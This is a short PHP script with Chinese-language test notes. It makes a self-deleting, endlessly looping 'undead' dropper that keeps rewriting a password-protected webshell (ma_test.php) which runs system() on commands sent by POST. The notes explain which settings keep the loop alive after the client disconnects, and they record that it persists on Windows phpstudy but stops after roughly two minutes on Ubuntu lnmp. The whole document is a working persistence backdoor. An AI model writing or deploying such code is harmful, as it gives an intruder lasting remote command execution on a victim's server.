<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'ma_test.php';
$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
while (1) {
file_put_contents($file, $code);
//system('touch -m -d "2018-12-01 09:10:12" ma_test.php');
$ntime=date("Y-m-d :h:i:s");
//file_put_contents("log1.txt",'3-->'.$ntime.PHP_EOL,FILE_APPEND);日志纪录
usleep(5000);
}
?>
测试环境:
windows10.X64.phpstudy
linux.Ubuntu14.lnmp
1、ignore_user_abort
函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行;当设置为false或者无该行时,当客户与服务器断开,则后续脚本不会执行;无法继续生成后门
2、set_time_limit
设置脚本最大执行时间,为0则无上限,否则按照设置的时间执行
3、设置1不设置2时,默认30秒后,流程中断;
该set_time_limit与php.ini中的max_execution_time设置有关
4、设置2不设置1时,
linux环境(lnmp)大约110-130秒,流程中断,
windows环境(phpstudy),会一直存在,
5、同时设置1和2时,
windows环境(phpstudy)下持续执行;
linux(lnmp)下执行约110-130秒后,流程中断
综上:
1.windows下OK
2.linux不行,是否与其他配置有关待考证